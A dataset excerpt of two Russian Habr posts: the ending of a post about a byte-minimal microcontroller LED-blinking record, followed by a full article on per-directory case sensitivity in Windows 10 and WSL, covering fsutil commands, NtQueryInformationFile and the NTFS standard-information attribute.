И да, можно поступить совсем по-свински — убрать из рекорда финальное зацикливание, получив решение в **10 байт.**
UPD: В комментариях привели [ссылку на рекордное решение в 12 байт](http://embedderslife.wordpress.com/2014/10/14/12-byte-blinking/). Браво!
UPD2: Путем насилия над контролером, удалось выиграть еще 2 байта.
UPD3: И [еще одно решение](http://habrahabr.ru/post/240517/), с еще большим насилием над контроллером.
UPD4: [Еще один вариант](http://habrahabr.ru/post/240689/) — в одну инструкцию (но исполняется при этом вся память программ), как и в вариантах 2 и 3. | https://habr.com/ru/post/240183/ | null | ru | null |
# Windows и case-sensitive filesystem
Давным-давно, на заре своего рождения Windows использовала файловую систему FAT. Потом ей на смену Microsoft и IBM разработали NTFS. В те давние времена возникло два противоположных подхода к файловой системе. В Linux используется case-sensitive файловая система, а в Microsoft — case-insensitive.
Суть в том, что в case-sensitive файловой системе считается, что имена, написанные в разных регистрах (например, FILE.txt и file.txt) — это разные имена. А для Windows между ними нет разницы.
Несмотря на нечувствительность Windows к регистру букв, разработчики NTFS подошли к делу ответственно, и бережно сохраняют регистр имен каталогов и файлов. Возможно, они не теряли надежды на сближение с противоборствующим лагерем.
Первые жертвы
-------------
Шли годы, информационные технологии не стояли на месте, и дистрибутивы Linux научились монтировать NTFS-разделы. Операционные системы стали ближе, а наши противники впервые столкнулись на одном поле — и появились первые проблемы. Присоединив NTFS-раздел, пользователь Linux мог создать в одном каталоге несколько различных файлов с именами, которые отличаются только регистром. А как мы знаем, NTFS сохраняет регистр букв при создании объектов файловой системы. Если потом подключить тот же NTFS-раздел к Windows, то операционная система начнет путать файлы-близнецы между собой. С ее точки зрения, они имеют одинаковые имена! Пользователь кликает по одному файлу, а открывается совсем другой. Короче, хаос и безобразие.
В 2016 году Microsoft сделала шаг навстречу Linux и выпустила Windows 10 Anniversary Update с подсистемой WSL. Windows Subsystem for Linux (WSL) предоставляет интерфейсы, во многом совместимые с интерфейсами ядра Linux. Что позволяет запускать большинство Linux-приложений, в том числе оригинальные образы некоторых Linux-дистрибутивов. Например, Ubuntu 14.04! Это была революция! Linux и Windows работают на одном компьютере одновременно, как партнеры. Но к сожалению, партнеры все еще по-разному смотрели на регистрочувствительность в плане работы с файловой системой. Ввести Windows в замешательство с помощью создания файлов или каталогов с именами, отличающимися только регистром, стало еще проще.
Попытка примирения
------------------
В новой версии Windows 10 Spring Creators Update компания Microsoft добавила возможность задания режима case-sensitivity для отдельно взятого каталога. Сделать это можно с помощью утилиты ***fsutil***. Читатель, наверное, уже знаком с этой полезной утилитой.
Теперь у нее появились две новые команды:
***fsutil file queryCaseSensitiveInfo***
***fsutil file setCaseSensitiveInfo***
Для того чтобы воспользоваться этими командами, у вас должна быть активирована WSL-подсистема, а команда setCaseSensitiveInfo требует прав администратора.
После включения режима case-sensitivity файлы и каталоги, находящиеся внутри, будут доступны только при указании их точного имени! И Windows теперь четко видит разницу между FILE.txt и file.txt.
С другой стороны, WSL-подсистема тоже должна учитывать, включен или выключен режим case-sensitivity у каталога, в котором она создает файл или дочерний каталог. Каталоги, которые формируют структуру WSL или создаются из WSL, сразу имеют включенный case-sensitivity. Все остальные каталоги по умолчанию режим case-sensitivity не включают.
Если в WSL зайти в каталог с выключенным case-sensitivity режимом и попробовать создать в нем два файла, имена которых будут отличаться только регистром, то получите ошибку.
Таким образом, WSL и Windows поделили логический диск между собой. Часть каталогов поддерживает режим case-sensitivity, а другая часть – нет.
Спускаемся ниже
---------------
Под капотом для получения и задания флага case-sensitivity используются функции NtQueryInformationFile и NtSetInformationFile c новым параметром FileCaseSensitiveInformation.
Пример:
```
HANDLE h = CreateFile(
path,
FILE_READ_ATTRIBUTES,
FILE_SHARE_READ,
0,
OPEN_EXISTING,
FILE_SUPPORTS_USN_JOURNAL,
0);
if( INVALID_HANDLE_VALUE == h )
return;
IO_STATUS_BLOCK io;
uint32_t csFlags = 0;
DWORD error = NtQueryInformationFile(
testHandle,
&io,
&csFlags,
sizeof(csFlags),
(FILE_INFORMATION_CLASS)0x47); // FileCaseSensitiveInformation
CloseHandle(h);
```
В результате работы функции в переменной csFlags будет 1, если режим case-sensitivity включен, и 0 — если выключен.
Еще ниже — Raw NTFS
-------------------
На уровне NTFS флаг case-sensitivity хранится в атрибуте StandartInfoData, в поле NumVersion.
Если атрибут выставлен, то NumVersion = 1, иначе NumVersion = 0
```
typedef struct _StandartInfoData_
{
FILETIME CreateTime;
FILETIME LastModTime;
FILETIME LastModMFT;
FILETIME LastAccess;
DWORD FileAttrib;
DWORD MaxVersions;
DWORD NumVersion; // <--
DWORD ClassId;
DWORD OwnerId;
DWORD SecureId;
ULONGLONG Quota;
ULONGLONG SequenceNumber;
} StandartInfoData;
```
Заключение
----------
Мы видим, что Microsoft прикладывает значительные усилия для того, чтобы объединить в одной системе два разных мира — Windows и Linux. И для успеха своей миссии они пошли на уступки в плане регистрочувствительности своей файловой системы. Поможет ли это? Решит ли противоречия? И какие еще проблемы всплывут? Все это покажет лишь Его Величество Время.
### Wanted
Кстати. Или не совсем кстати. У нас тут коллеги ищут руководителя группы разработки автотестов. Правда работа в Новосибирске. Если кому-то это интересно, то **[вот вакансия](https://kas.pr/autotest)**. | https://habr.com/ru/post/414239/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.